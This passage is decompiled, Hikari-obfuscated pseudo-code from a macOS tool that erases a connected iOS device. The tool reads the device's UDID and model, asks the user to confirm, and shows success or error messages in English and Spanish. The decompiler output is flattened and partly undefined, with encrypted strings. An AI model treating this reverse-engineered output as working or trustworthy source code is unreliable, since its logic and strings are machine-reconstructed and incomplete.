aBkf0[60] = 32;
aBkf0[61] = 97;
aBkf0[62] = 32;
aBkf0[63] = 98;
aBkf0[64] = 97;
aBkf0[65] = 99;
aBkf0[66] = 107;
aBkf0[67] = 117;
aBkf0[68] = 112;
aBkf0[69] = 32;
aBkf0[70] = 98;
aBkf0[71] = 101;
aBkf0[72] = 102;
aBkf0[73] = 111;
aBkf0[74] = 114;
aBkf0[75] = 101;
aBkf0[76] = 32;
aBkf0[77] = 99;
aBkf0[78] = 111;
aBkf0[79] = 110;
aBkf0[80] = 116;
aBkf0[81] = 105;
aBkf0[82] = 110;
aBkf0[83] = 117;
aBkf0[84] = 105;
aBkf0[85] = 110;
aBkf0[86] = 103;
aBkf0[87] = 46;
aBkf0[88] = 0;
strcpy(asc_10027D350, "Your Device %@ has been Erased ?");
strcpy(asc_10027D2F0, "Your Device %@ has been Erased !");
asc_10027D3E0[0] = 69;
asc_10027D3E0[1] = 114;
asc_10027D3E0[2] = 114;
asc_10027D3E0[3] = 111;
asc_10027D3E0[4] = 114;
asc_10027D3E0[5] = 58;
asc_10027D3E0[6] = 32;
asc_10027D3E0[7] = 65;
asc_10027D3E0[8] = 77;
asc_10027D3E0[9] = 83;
asc_10027D3E0[10] = 69;
asc_10027D3E0[11] = 114;
asc_10027D3E0[12] = 97;
asc_10027D3E0[13] = 115;
asc_10027D3E0[14] = 101;
asc_10027D3E0[15] = 68;
asc_10027D3E0[16] = 101;
asc_10027D3E0[17] = 118;
asc_10027D3E0[18] = 105;
asc_10027D3E0[19] = 99;
asc_10027D3E0[20] = 101;
asc_10027D3E0[21] = 32;
asc_10027D3E0[22] = 102;
asc_10027D3E0[23] = 97;
asc_10027D3E0[24] = 108;
asc_10027D3E0[25] = 108;
asc_10027D3E0[26] = 243;
asc_10027D3E0[27] = 32;
asc_10027D3E0[28] = 99;
asc_10027D3E0[29] = 111;
asc_10027D3E0[30] = 110;
asc_10027D3E0[31] = 32;
asc_10027D3E0[32] = 99;
asc_10027D3E0[33] = 243;
asc_10027D3E0[34] = 100;
asc_10027D3E0[35] = 105;
asc_10027D3E0[36] = 103;
asc_10027D3E0[37] = 111;
a3 = (id)4294967216LL;
asc_10027D3E0[38] = 32;
asc_10027D3E0[39] = 37;
asc_10027D3E0[40] = 100;
asc_10027D3E0[41] = 0;
*v61 = -878364084;
break;
case -1017155491:
v11 = objc_msgSend(v40, v41, a3);
v42 = objc_retainAutoreleasedReturnValue(v11);
a2 = "stringWithFormat:";
v12 = objc_msgSend(
v39,
"stringWithFormat:",
CFSTR("\xEF\xD2\x40\"<9gf\x0FK\x18=x\x8C\xB2R\v2\x03\x01əm\t\x9Fиy\xD9\x7F\xA1$`"),
v42);
v48 = objc_retainAutoreleasedReturnValue(v12);
v3 = 2036413132;
goto LABEL_272;
}
}
else if ( v44 > -922172303 )
{
if ( v44 == -922172302 )
{
a2 = v33;
v55 = HikariFunctionWrapper_17321(v52, v33) == (id)1000;
*v61 = 1471691502;
}
else if ( v44 == -897888816 )
{
*v61 = 1659108565;
}
}
else
{
if ( v44 == -1012687373 )
{
a3 = (id)2334197027LL;
v16 = 1;
v3 = -897888816;
v17 = 1659108565;
goto LABEL_270;
}
if ( v44 == -925742617 )
{
v4 = 0;
v3 = -1408186589;
v5 = 1498299923;
goto LABEL_261;
}
}
}
else if ( v44 <= -1257182025 )
{
switch ( v44 )
{
case -1354503394:
a3 = (id)4252989006LL;
v57 = v45 == 0;
v3 = 1870698039;
goto LABEL_272;
case -1317604049:
a3 = (id)336732672;
v3 = 771289326;
goto LABEL_272;
case -1315751795:
a2 = (SEL)4219033642LL;
a3 = (id)2566914090LL;
v9 = 1;
v3 = 998677986;
v10 = -1315751795;
goto LABEL_254;
}
}
else if ( v44 > -1166293438 )
{
if ( v44 == -1166293437 )
{
NSLog(
CFSTR("꩐邷蔂ᱽ鑇흭葆鄀㙫颛뉨٦䐃忍墤喅霸㱪阆ᑼ瞈餝\x62\xD8\x18\xE5䟟貸쎗顙ٚ\x83\xDD䠟앸뿩庚ᙧ삅迷唆呶뒘⊉䦹챘\u0FF0濇"),
a2,
a3);
v4 = 0;
v3 = -1166293437;
v5 = -1156548282;
goto LABEL_261;
}
if ( v44 == -1156548282 )
*v61 = -1536853339;
}
else
{
if ( v44 == -1257182024 )
{
v4 = !v56;
v3 = 1422779218;
v5 = -500839601;
goto LABEL_261;
}
if ( v44 == -1219276206 )
*v61 = 1684442790;
}
}
else if ( v44 > -496219795 )
{
if ( v44 > -86470414 )
{
if ( v44 <= -25070094 )
{
switch ( v44 )
{
case -86470413:
a2 = (SEL)1663869505;
a3 = (id)1109918273;
v3 = -1354503394;
goto LABEL_272;
case -50804107:
a3 = (id)2477732576LL;
v56 = v49 == 0;
v3 = 1511234318;
goto LABEL_272;
case -40591463:
objc_release(v52);
*v61 = -336390928;
break;
}
}
else if ( v44 > 130437388 )
{
if ( v44 == 130437389 )
{
aWEN[26] = v53;
aWEN[27] = 99;
aWEN[28] = 111;
aWEN[29] = 110;
aWEN[30] = 32;
aWEN[31] = 99;
aWEN[32] = 243;
aWEN[33] = 100;
aWEN[34] = 105;
aWEN[35] = 103;
aWEN[36] = 111;
aWEN[37] = 32;
aWEN[38] = 37;
aWEN[39] = 100;
aWEN[40] = 0;
a6_1[0] = 69;
a6_1[1] = 108;
a6_1[2] = 32;
a6_1[3] = 117;
a6_1[4] = 115;
a6_1[5] = 117;
a6_1[6] = 97;
a6_1[7] = 114;
a6_1[8] = 105;
a6_1[9] = 111;
a6_1[10] = 32;
a6_1[11] = 99;
a6_1[12] = 97;
a6_1[13] = 110;
a6_1[14] = 99;
a6_1[15] = 101;
a6_1[16] = 108;
a6_1[17] = 243;
a6_1[18] = 32;
a6_1[19] = 101;
a6_1[20] = 108;
a6_1[21] = 32;
a6_1[22] = 102;
a6_1[23] = 111;
a6_1[24] = 114;
a6_1[25] = 109;
a6_1[26] = 97;
a6_1[27] = 116;
a6_1[28] = 101;
a6_1[29] = 111;
a3 = (id)5994;
a6_1[30] = 32;
a6_1[31] = 100;
a6_1[32] = 101;
a6_1[33] = 108;
a6_1[34] = 32;
a6_1[35] = 100;
a6_1[36] = 105;
a6_1[37] = 115;
a6_1[38] = 112;
a6_1[39] = 111;
a6_1[40] = 115;
a6_1[41] = 105;
a6_1[42] = 116;
a6_1[43] = 105;
a6_1[44] = 118;
a6_1[45] = 111;
a6_1[46] = 46;
a6_1[47] = 0;
qmemcpy(aBkf0, "This action cannot be undone. Plea", 34);
v60 = 115;
*v61 = -496219794;
}
else if ( v44 == 138556149 )
{
v16 = 1;
v3 = -1413314342;
v17 = 953518831;
goto LABEL_270;
}
}
else
{
if ( v44 == -25070093 )
{
v16 = 1;
v3 = 447415788;
v17 = 2077093573;
goto LABEL_270;
}
if ( v44 == 118706975 )
*v61 = -1622380686;
}
}
else if ( v44 <= -336390929 )
{
switch ( v44 )
{
case -496219794:
a3 = (id)137249024;
v16 = 1;
v3 = -1095804365;
v17 = -878364084;
goto LABEL_270;
case -454220989:
NSLog(
CFSTR("ꬕ밅퀨㭞阮颙땼몾躁ꣀⴣ綠芷䛑Ꮶ뭓뭲Ⴖ椟ࠟ鳥엺賫铨毃걬Ҋ뤚좥⠐栖樢䮒䖑"),
a2,
a3);
*v61 = 1720887782;
break;
case -447340331:
*v61 = -50804107;
break;
}
}
else if ( v44 > -213988012 )
{
if ( v44 == -213988011 )
{
v29 = HikariFunctionWrapper_17333(v37, "Model");
v38 = objc_retainAutoreleasedReturnValue(v29);
a2 = "stringWithFormat:";
v30 = objc_msgSend(
v36,
"stringWithFormat:",
CFSTR("\x06峝\x89\x8CF\xC9\x62\x1C\xB8G\xA7z\xBEVp\x920\x83Υ\xFE(\x1C\x01\xB2\b2=Q{\x8B"),
v38);
v31 = objc_retainAutoreleasedReturnValue(v30);
showOkMessageBasic(v31);
objc_release(v31);
v9 = 1;
v3 = -769232554;
LABEL_219:
v10 = 2144919815;
goto LABEL_254;
}
if ( v44 == -107449472 )
{
a2 = v51;
v18 = objc_msgSend(&OBJC_CLASS___iOSDevice, v51, a3);
objc_retainAutoreleasedReturnValue(v18);
*v61 = 1223375099;
}
}
else
{
if ( v44 == -336390928 )
{
v9 = 1;
v3 = -1315751795;
v10 = 141039699;
goto LABEL_254;
}
if ( v44 == -250070995 )
{
dword_10029F568 = 1;
v6 = objc_alloc((Class)&OBJC_CLASS___NSAlert);
v52 = objc_msgSend(v6, "init");
objc_msgSend(
v52,
"setMessageText:",
CFSTR("\xDD\x4A@n\x16\f\\\x9D\x172\x7F\xDB\xE4$\x1F\xD2\xD2\xD5\xCB\xADD\xF1\x27\x62\xC4JEᱣ:\xB2\xC2\x4DV\xFD\x9F\\\x8A\xF1\x92\xBD\x22\xA2"));
objc_msgSend(
v52,
"setInformativeText:",
CFSTR("bkf0./\xAB%\xF3\x68\xB9\x89O!\xC2\x01\x99w\xEAC-\"a\xAA\x8F\xA91\xDD\xDAŹH\x9C\x17;f\xC8\x2C\xE5\x57\x66\xDD\xFC\xDB\xFA\x9A'\xBBZ\xDD\x5E\xFA\xDC\x67\x11\xD3\x6A\xD6\x01\xD5\xEA\xEC\x48\x1CE\x0F\bY\x04R;\x92=\xA1I\xBEsP\xB0\xE1\x60\xEFG\x840\xCA\xC7"));
v7 = HikariFunctionWrapper_17315(v52, "addButtonWithTitle:");
objc_unsafeClaimAutoreleasedReturnValue(v7);
v8 = HikariFunctionWrapper_17317(v52, "addButtonWithTitle:");
objc_unsafeClaimAutoreleasedReturnValue(v8);
a2 = "setAlertStyle:";
HikariFunctionWrapper_17319(v52, "setAlertStyle:");
v33 = "runModal";
*v61 = -922172302;
}
}
}
else if ( v44 > -715494865 )
{
if ( v44 <= -621043570 )
{
switch ( v44 )
{
case -715494864:
NSLog(
CFSTR("꩐邷蔂ᱽ鑇흭葆鄀㙫颛뉨٦䐃忍墤喅霸㱪阆ᑼ瞈餝\x62\xD8\x18\xE5䟟貸쎗顙ٚ\x83\xDD䠟앸뿩庚ᙧ삅迷唆呶뒘⊉䦹챘\u0FF0濇"),
a2,
a3);
*v61 = -1166293437;
break;
case -711408314:
NSLog(
CFSTR("ٵ㘰¨仔騭ꯎ\xE5\xDA\xDF\x92\x79\xD8\xB3\xA9찕ꬻ擟翘崶⼬韣妬Ꙍﲈ㚿★焓ᙵᴈ"),
a2,
a3);
v4 = 0;
v39 = &OBJC_CLASS___NSString;
v40 = &OBJC_CLASS___iOSDevice;
v41 = "Model";
v3 = -711408314;
v5 = -671764869;
goto LABEL_261;
case -671764869:
*v61 = -805217333;
break;
}
}
else if ( v44 > -500839602 )
{
if ( v44 == -500839601 )
{
v16 = 1;
v3 = -454220989;
v17 = 1720887782;
goto LABEL_270;
}
if ( v44 == -500252980 )
*v61 = -1354503394;
}
else
{
if ( v44 == -621043569 )
{
a3 = (id)609537089;
v9 = 0;
v3 = -107449472;
v10 = 1223375099;
goto LABEL_254;
}
if ( v44 == -521328126 )
{
a3 = (id)2130619975;
v9 = 0;
v3 = -521328126;
v10 = 1488184282;
goto LABEL_254;
}
}
}
else if ( v44 <= -838761897 )
{
switch ( v44 )
{
case -893728870:
objc_release(v38);
v16 = 0;
v3 = 748986064;
v17 = 2066167859;
goto LABEL_270;
case -888409156:
v4 = !v59;
v3 = 1993924365;
v5 = -1133734589;
goto LABEL_261;
case -878364084:
aBkf0[34] = v60;
aBkf0[35] = 101;
aBkf0[36] = 32;
aBkf0[37] = 109;
aBkf0[38] = 97;
aBkf0[39] = 107;
aBkf0[40] = 101;
aBkf0[41] = 32;
aBkf0[42] = 115;
aBkf0[43] = 117;
aBkf0[44] = 114;
aBkf0[45] = 101;
aBkf0[46] = 32;
aBkf0[47] = 121;
aBkf0[48] = 111;
aBkf0[49] = 117;
aBkf0[50] = 32;
aBkf0[51] = 104;
aBkf0[52] = 97;
aBkf0[53] = 118;
aBkf0[54] = 101;
aBkf0[55] = 32;
aBkf0[56] = 109;
aBkf0[57] = 97;
aBkf0[58] = 100;
aBkf0[59] = 101;
aBkf0[60] = 32;
aBkf0[61] = 97;
aBkf0[62] = 32;
aBkf0[63] = 98;
aBkf0[64] = 97;
aBkf0[65] = 99;
aBkf0[66] = 107;
aBkf0[67] = 117;
aBkf0[68] = 112;
aBkf0[69] = 32;
aBkf0[70] = 98;
aBkf0[71] = 101;
aBkf0[72] = 102;
aBkf0[73] = 111;
aBkf0[74] = 114;
aBkf0[75] = 101;
aBkf0[76] = 32;
aBkf0[77] = 99;
aBkf0[78] = 111;
aBkf0[79] = 110;
aBkf0[80] = 116;
aBkf0[81] = 105;
aBkf0[82] = 110;
aBkf0[83] = 117;
aBkf0[84] = 105;
aBkf0[85] = 110;
aBkf0[86] = 103;
aBkf0[87] = 46;
aBkf0[88] = 0;
strcpy(asc_10027D350, "Your Device %@ has been Erased ?");
strcpy(asc_10027D2F0, "Your Device %@ has been Erased !");
asc_10027D3E0[0] = 69;
asc_10027D3E0[1] = 114;
asc_10027D3E0[2] = 114;
asc_10027D3E0[3] = 111;
asc_10027D3E0[4] = 114;
asc_10027D3E0[5] = 58;
asc_10027D3E0[6] = 32;
asc_10027D3E0[7] = 65;
asc_10027D3E0[8] = 77;
asc_10027D3E0[9] = 83;
asc_10027D3E0[10] = 69;
asc_10027D3E0[11] = 114;
asc_10027D3E0[12] = 97;
asc_10027D3E0[13] = 115;
asc_10027D3E0[14] = 101;
asc_10027D3E0[15] = 68;
asc_10027D3E0[16] = 101;
asc_10027D3E0[17] = 118;
asc_10027D3E0[18] = 105;
asc_10027D3E0[19] = 99;
asc_10027D3E0[20] = 101;
asc_10027D3E0[21] = 32;
asc_10027D3E0[22] = 102;
asc_10027D3E0[23] = 97;
asc_10027D3E0[24] = 108;
asc_10027D3E0[25] = 108;
asc_10027D3E0[26] = 243;
asc_10027D3E0[27] = 32;
asc_10027D3E0[28] = 99;
asc_10027D3E0[29] = 111;
asc_10027D3E0[30] = 110;
asc_10027D3E0[31] = 32;
asc_10027D3E0[32] = 99;
asc_10027D3E0[33] = 243;
asc_10027D3E0[34] = 100;
asc_10027D3E0[35] = 105;
asc_10027D3E0[36] = 103;
asc_10027D3E0[37] = 111;
a2 = (SEL)44697;
asc_10027D3E0[38] = 32;
asc_10027D3E0[39] = 37;
a3 = (id)45600;
asc_10027D3E0[40] = 100;
asc_10027D3E0[41] = 0;
v3 = 2053932832;
goto LABEL_272;
}
}
else if ( v44 > -769232555 )
{
if ( v44 == -769232554 )
{
*v61 = 301434604;
}
else if ( v44 == -718882146 )
{
*v61 = 206074895;
}
}
else if ( v44 == -838761896 )
{
v26 = HikariFunctionWrapper_17341(v40, v41);
v27 = objc_retainAutoreleasedReturnValue(v26);
a2 = "stringWithFormat:";
v28 = objc_msgSend(
v39,
"stringWithFormat:",
CFSTR("\xEF\xD2\x40\"<9gf\x0FK\x18=x\x8C\xB2R\v2\x03\x01əm\t\x9Fиy\xD9\x7F\xA1$`"),
v27);
objc_retainAutoreleasedReturnValue(v28);
*v61 = -1017155491;
}
else if ( v44 == -805217333 )
{
a2 = (SEL)1683684120;
a3 = (id)609794832;
v3 = -1017155491;
goto LABEL_272;
}
}
if ( v44 <= 1498299922 )
break;
if ( v44 <= 1870698038 )
{
if ( v44 <= 1630204276 )
{
if ( v44 > 1582479304 )
{
switch ( v44 )
{
case 1582479305:
*v61 = -1257182024;
break;
case 1607363624:
v49 = AMSInitialize(0, a2, a3);
*v61 = 432473986;
break;
case 1609167501:
*v61 = -1752089990;
break;
}
}
else
{
switch ( v44 )
{
case 1498299923:
a2 = (SEL)2563016710LL;
a3 = (id)2389496371LL;
v16 = 1;
v3 = -1408186589;
v17 = 1343914021;
goto LABEL_270;
case 1511234318:
*v61 = -1953348086;
break;
case 1536574197:
*v61 = 2143485328;
break;
}
}
}
else if ( v44 <= 1684442789 )
{
switch ( v44 )
{
case 1630204277:
a3 = (id)369119383;
v16 = 1;
v3 = 1107220225;
v17 = 1407087762;
LABEL_270:
if ( v16 )
v3 = v17;
goto LABEL_272;
case 1659108565:
a3 = (id)2707134271LL;
v9 = 1;
v3 = 1752892072;
v10 = 1659108565;
LABEL_254:
if ( !v9 )
v3 = v10;
LABEL_272:
*v61 = v3;
break;
case 1680066741:
a2 = (SEL)v50;
NSLog(
CFSTR("敗⺐ຍ烙辣琉맧茆ᓝ\xB4\xDB\x9C\x27⡆賡ݲ뎒⠕ꖮ醎焬샭쬃처⽸ꕫꈏ哗ꙣ맍\x5E\xD8\xE7\x05첱䝴褌氎䑦\x99\xDD㓞ᐻ폷"),
v50,
a3);
v16 = 1;
v36 = &OBJC_CLASS___NSString;
v37 = &OBJC_CLASS___iOSDevice;
v3 = 1406689522;
v17 = 1536574197;
goto LABEL_270;
}
}
else if ( v44 > 1752892071 )
{
if ( v44 == 1752892072 )
goto LABEL_199;
if ( v44 == 1791849073 )
{
v4 = !v58;
v3 = 1925853112;
LABEL_260:
v5 = 993628997;
LABEL_261:
if ( !v4 )
v3 = v5;
goto LABEL_272;
}
}
else
{
if ( v44 == 1684442790 )
{
v3 = 1938024470;
goto LABEL_272;
}
if ( v44 == 1720887782 )
{
HikariFunctionWrapper_17323(CFSTR("ꬕ밅퀨㭞阮颙땼몾躁ꣀⴣ綠芷䛑Ꮶ뭓뭲Ⴖ椟ࠟ鳥엺賫铨毃걬Ҋ뤚좥⠐栖樢䮒䖑"));
v34 = &OBJC_CLASS___iOSDevice;
v51 = "UDID";
*v61 = -2066503722;
}
}
}
else if ( v44 > 2036413131 )
{
if ( v44 <= 2077093572 )
{
switch ( v44 )
{
case 2036413132:
*v61 = -25070093;
break;
case 2053932832:
*v61 = -250070995;
break;
case 2066167859:
objc_release(v38);
*v61 = -893728870;
break;
}
}
else if ( v44 > 2143485327 )
{
if ( v44 == 2143485328 )
{
v9 = 1;
v3 = -213988011;
goto LABEL_219;
}
if ( v44 == 2144919815 )
{
v19 = -[__objc2_class Model](v37, "Model", a3);
v20 = objc_retainAutoreleasedReturnValue(v19);
a2 = "stringWithFormat:";
v21 = objc_msgSend(
v36,
"stringWithFormat:",
CFSTR("\x06峝\x89\x8CF\xC9\x62\x1C\xB8G\xA7z\xBEVp\x920\x83Υ\xFE(\x1C\x01\xB2\b2=Q{\x8B"),
v20);
v22 = objc_retainAutoreleasedReturnValue(v21);
showOkMessageBasic(v22);
objc_release(v22);
*v61 = -213988011;
}
}
else
{
if ( v44 == 2077093573 )
{
showOkMessageBasic(v48);
objc_release(v48);
objc_release(v42);
v9 = 1;
v3 = -1572885913;
v10 = 447415788;
goto LABEL_254;
}
if ( v44 == 2125115124 )
{
objc_release(v47);
a2 = (SEL)eraseDeviceCallback;
HikariFunctionWrapper_17337((__int64)v47);
*v61 = 1938024470;
}
}
}
else if ( v44 <= 1958578950 )
{
switch ( v44 )
{
case 1870698039:
v4 = !v57;
v3 = -621043569;
goto LABEL_260;
case 1925853112:
v35 = &OBJC_CLASS___iOSDevice;
*v61 = 1630204277;
break;
case 1938024470:
objc_release(v47);
a2 = (SEL)eraseDeviceCallback;
v13 = HikariFunctionWrapper_17331((__int64)v47);
v59 = v13 == 0;
v9 = 0;
v50 = v13;
v3 = 1938024470;
v10 = -888409156;
goto LABEL_254;
}
}
else if ( v44 > 1984207035 )
{
if ( v44 == 1984207036 )
{
a2 = "length";
v58 = objc_msgSend(v46, "length") == 0;
objc_release(v46);
v9 = 1;
v3 = 118706975;
v10 = 1984207036;
goto LABEL_254;
}
if ( v44 == 1993924365 )
{
a3 = (id)231112575;
v16 = 1;
v3 = 1406689522;
v17 = 1680066741;
goto LABEL_270;
}
}
else if ( v44 == 1958578951 )
{
objc_release(v45);
*v61 = -1910155596;
}
else if ( v44 == 1979976162 )
{
*v61 = 677222427;
}
}
if ( v44 > 848284865 )
break;
if ( v44 > 588041228 )
{
if ( v44 <= 697695047 )
{
switch ( v44 )
{
case 588041229:
*v61 = -1317604049;
break;
case 677222427:
a3 = (id)454054648;
v16 = 1;
v43 = dword_10029F568;
v3 = 1979976162;
v17 = 1467799389;
goto LABEL_270;
case 695639695:
*v61 = 130437389;
break;
}
}
else if ( v44 > 767427553 )
{
if ( v44 == 767427554 )
{
a2 = "length";
objc_msgSend(v46, "length", a3);
objc_release(v46);
*v61 = 1984207036;
}
else if ( v44 == 771289326 )
{
goto LABEL_199;
}
}
else
{
if ( v44 == 697695048 )
{
v3 = 677222427;
goto LABEL_272;
}
if ( v44 == 748986064 )
goto LABEL_199;
}
}
else if ( v44 <= 301434603 )
{
switch ( v44 )
{
case 141039699:
*v61 = -1315751795;
break;
case 206074895:
a3 = (id)567536495;
v16 = 0;
v3 = 276757142;
v17 = -718882146;
goto LABEL_270;
case 276757142:
goto LABEL_199;
}
}
else if ( v44 > 447415787 )
{
if ( v44 == 447415788 )
{
showOkMessageBasic(v48);
objc_release(v48);
objc_release(v42);
*v61 = 2077093573;
}
else if ( v44 == 522093081 )
{
v54 = v43 == 0;
*v61 = -925742617;
}
}
else
{
if ( v44 == 301434604 )
{
a3 = (id)2724861324LL;
v16 = 1;
v3 = 2066167859;
v17 = -893728870;
goto LABEL_270;
}
if ( v44 == 432473986 )
{
v4 = 0;
v3 = -447340331;
v5 = -50804107;
goto LABEL_261;
}
}
}
if ( v44 <= 1366509326 )
break;
if ( v44 <= 1422779217 )
{
switch ( v44 )
{
case 1366509327:
a2 = v51;
v32 = HikariFunctionWrapper_17325(v34, v51);
v45 = objc_retainAutoreleasedReturnValue(v32);
*v61 = -86470413;
break;
case 1406689522:
a2 = (SEL)v50;
NSLog(
CFSTR("敗⺐ຍ烙辣琉맧茆ᓝ\xB4\xDB\x9C\x27⡆賡ݲ뎒⠕ꖮ醎焬샭쬃처⽸ꕫꈏ哗ꙣ맍\x5E\xD8\xE7\x05첱䝴褌氎䑦\x99\xDD㓞ᐻ폷"),
v50,
a3);
*v61 = 1680066741;
break;
case 1407087762:
a2 = v51;
v14 = HikariFunctionWrapper_17329(v35, v51);
v15 = objc_retainAutoreleasedReturnValue(v14);
v16 = 1;
v47 = v15;
v3 = 1407087762;
v17 = -1219276206;
goto LABEL_270;
}
}
else if ( v44 > 1471691501 )
{
if ( v44 == 1471691502 )
{
v4 = 0;
v3 = -1918478728;
v5 = -521328126;
goto LABEL_261;
}
if ( v44 == 1488184282 )
{
v4 = !v55;
v3 = 848284866;
v5 = 1607363624;
goto LABEL_261;
}
}
else if ( v44 == 1422779218 )
{
a2 = (SEL)v49;
NSLog(
CFSTR("뺵譼蛷珥ᄽẉ盤棂뙁䷹詻缛稣ં⊆赝㮽员Ꞹⴭ粌\x63\xDA\x5D\xF4\u187A䢼梽䐬\xCB\xD9\x42\x6A큟쒂﹜쵟빇笒䌐︵蜠"),
v49,
a3);
*v61 = -1012687373;
}
else if ( v44 == 1467799389 )
{
*v61 = 522093081;
}
}
if ( v44 > 998677985 )
break;
switch ( v44 )
{
case 848284866:
a2 = (SEL)2965045248LL;
a3 = (id)2087715908;
v16 = 0;
v3 = -1166293437;
v17 = -715494864;
goto LABEL_270;
case 953518831:
aS_13[0] = 69;
aS_13[1] = 114;
aS_13[2] = 114;
aS_13[3] = 111;
aS_13[4] = 114;
aS_13[5] = 58;
aS_13[6] = 32;
aS_13[7] = 69;
aS_13[8] = 108;
aS_13[9] = 32;
aS_13[10] = 85;
aS_13[11] = 68;
aS_13[12] = 73;
aS_13[13] = 68;
aS_13[14] = 32;
aS_13[15] = 101;
aS_13[16] = 115;
aS_13[17] = 116;
aS_13[18] = 225;
aS_13[19] = 32;
aS_13[20] = 118;
aS_13[21] = 97;
aS_13[22] = 99;
aS_13[23] = 237;
aS_13[24] = 111;
aS_13[25] = 32;
aS_13[26] = 111;
aS_13[27] = 32;
aS_13[28] = 110;
aS_13[29] = 111;
aS_13[30] = 32;
aS_13[31] = 101;
aS_13[32] = 115;
aS_13[33] = 32;
aS_13[34] = 118;
aS_13[35] = 225;
aS_13[36] = 108;
aS_13[37] = 105;
aS_13[38] = 100;
aS_13[39] = 111;
aS_13[40] = 0;
aO_12[0] = 89;
aO_12[1] = 101;
aO_12[2] = 115;
aO_12[3] = 0;
strcpy(asc_10027D730, "Are you sure you want to erase this device?");
asc_10027D490[0] = 65;
asc_10027D490[1] = 77;
asc_10027D490[2] = 83;
asc_10027D490[3] = 73;
asc_10027D490[4] = 110;
asc_10027D490[5] = 105;
asc_10027D490[6] = 116;
asc_10027D490[7] = 105;
asc_10027D490[8] = 97;
asc_10027D490[9] = 108;
asc_10027D490[10] = 105;
asc_10027D490[11] = 122;
asc_10027D490[12] = 101;
asc_10027D490[13] = 32;
asc_10027D490[14] = 99;
asc_10027D490[15] = 111;
asc_10027D490[16] = 109;
asc_10027D490[17] = 112;
asc_10027D490[18] = 108;
asc_10027D490[19] = 101;
asc_10027D490[20] = 116;
asc_10027D490[21] = 97;
asc_10027D490[22] = 100;
asc_10027D490[23] = 111;
asc_10027D490[24] = 32;
asc_10027D490[25] = 99;
asc_10027D490[26] = 111;
asc_10027D490[27] = 110;
asc_10027D490[28] = 32;
asc_10027D490[29] = 233;
asc_10027D490[30] = 120;
asc_10027D490[31] = 105;
asc_10027D490[32] = 116;
asc_10027D490[33] = 111;
asc_10027D490[34] = 0;
asc_10027D6B0[0] = 65;
asc_10027D6B0[1] = 77;
asc_10027D6B0[2] = 83;
asc_10027D6B0[3] = 69;
asc_10027D6B0[4] = 114;
asc_10027D6B0[5] = 97;
asc_10027D6B0[6] = 115;
asc_10027D6B0[7] = 101;
asc_10027D6B0[8] = 68;
asc_10027D6B0[9] = 101;
asc_10027D6B0[10] = 118;
asc_10027D6B0[11] = 105;
asc_10027D6B0[12] = 99;
asc_10027D6B0[13] = 101;
asc_10027D6B0[14] = 32;
asc_10027D6B0[15] = 105;
asc_10027D6B0[16] = 110;
asc_10027D6B0[17] = 105;
asc_10027D6B0[18] = 99;
asc_10027D6B0[19] = 105;
asc_10027D6B0[20] = 97;
asc_10027D6B0[21] = 100;
asc_10027D6B0[22] = 111;
asc_10027D6B0[23] = 32;
asc_10027D6B0[24] = 99;
asc_10027D6B0[25] = 111;
asc_10027D6B0[26] = 110;
asc_10027D6B0[27] = 32;
asc_10027D6B0[28] = 233;
asc_10027D6B0[29] = 120;
asc_10027D6B0[30] = 105;
asc_10027D6B0[31] = 116;
asc_10027D6B0[32] = 111;
asc_10027D6B0[33] = 0;
asc_10027D655[0] = 78;
asc_10027D655[1] = 111;
aWEN[0] = 69;
aWEN[1] = 114;
aWEN[2] = 114;
aWEN[3] = 111;
aWEN[4] = 114;
aWEN[5] = 58;
aWEN[6] = 32;
aWEN[7] = 65;
aWEN[8] = 77;
aWEN[9] = 83;
aWEN[10] = 73;
aWEN[11] = 110;
aWEN[12] = 105;
aWEN[13] = 116;
aWEN[14] = 105;
aWEN[15] = 97;
aWEN[16] = 108;
aWEN[17] = 105;
aWEN[18] = 122;
aWEN[19] = 101;
aWEN[20] = 32;
aWEN[21] = 102;
aWEN[22] = 97;
aWEN[23] = 108;
a2 = (SEL)815417534;
asc_10027D655[2] = 0;
aWEN[24] = 108;
aWEN[25] = 243;
a3 = (id)10248;
v4 = 0;
v53 = 32;
v3 = -1413314342;
v5 = 695639695;
goto LABEL_261;
case 993628997:
HikariFunctionWrapper_17327(&cfstr_S_13.isa);
*v61 = -1374418322;
break;
}
}
if ( v44 <= 1223375098 )
break;
if ( v44 == 1223375099 )
{
a2 = v51;
v24 = objc_msgSend(&OBJC_CLASS___iOSDevice, v51, a3);
v25 = objc_retainAutoreleasedReturnValue(v24);
v16 = 0;
v46 = v25;
v3 = 1609167501;
v17 = -107449472;
goto LABEL_270;
}
if ( v44 == 1343914021 )
{
v4 = !v54;
v3 = -250070995;
v5 = 138556149;
goto LABEL_261;
}
}
if ( v44 != 1107220225 )
break;
a2 = v51;
v23 = HikariFunctionWrapper_17335(v35, v51);
objc_retainAutoreleasedReturnValue(v23);
*v61 = 1407087762;
}
}
while ( v44 != 998677986 );
}
// 100101A1E: variable 'v40' is possibly undefined
// 100101A1E: variable 'v41' is possibly undefined
// 100101A1E: variable 'a3' is possibly undefined
// 100101A4A: variable 'v39' is possibly undefined
// 100101B12: variable 'v38' is possibly undefined
// 100101B79: variable 'v35' is possibly undefined
// 100101E0A: variable 'v37' is possibly undefined
// 100101E2F: variable 'v36' is possibly undefined
// 100101F31: variable 'v43' is possibly undefined
// 1001029D5: variable 'v33' is possibly undefined
// 100102A58: variable 'v42' is possibly undefined
// 100104D8A: variable 'v34' is possibly undefined
// 1002561B0: using guessed type __int64 __fastcall AMSInitialize(_QWORD, _QWORD, _QWORD);
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 10027D3E0: using guessed type __int16 asc_10027D3E0[42];
// 10027D490: using guessed type __int16 asc_10027D490[35];
// 10027D540: using guessed type __int16 a6_1[48];
// 10027D600: using guessed type __int16 aWEN[41];
// 10027D6B0: using guessed type __int16 asc_10027D6B0[34];
// 10027D7D0: using guessed type __int16 aS_13[41];
// 10027D890: using guessed type __CFString cfstr_S_13;
// 10027D910: using guessed type __CFString stru_10027D910;
// 10027D950: using guessed type __CFString stru_10027D950;
// 10027DA90: using guessed type __CFString cfstr_Bkf0;
// 10027DB10: using guessed type __CFString stru_10027DB10;
// 10029F568: using guessed type int dword_10029F568;
//----- (0000000100104EC7) ----------------------------------------------------
__int64 __fastcall showOkMessageBasic(id a1)
{
__int64 result; // rax
id *v2; // r14
char v3; // cf
int v4; // eax
int v5; // ecx
bool v6; // zf
int v7; // ecx
char v8; // cf
int v9; // ecx
id *v10; // r14
__int64 v11; // [rsp+0h] [rbp-50h] BYREF
int v12; // [rsp+8h] [rbp-48h]
int v13; // [rsp+Ch] [rbp-44h] BYREF
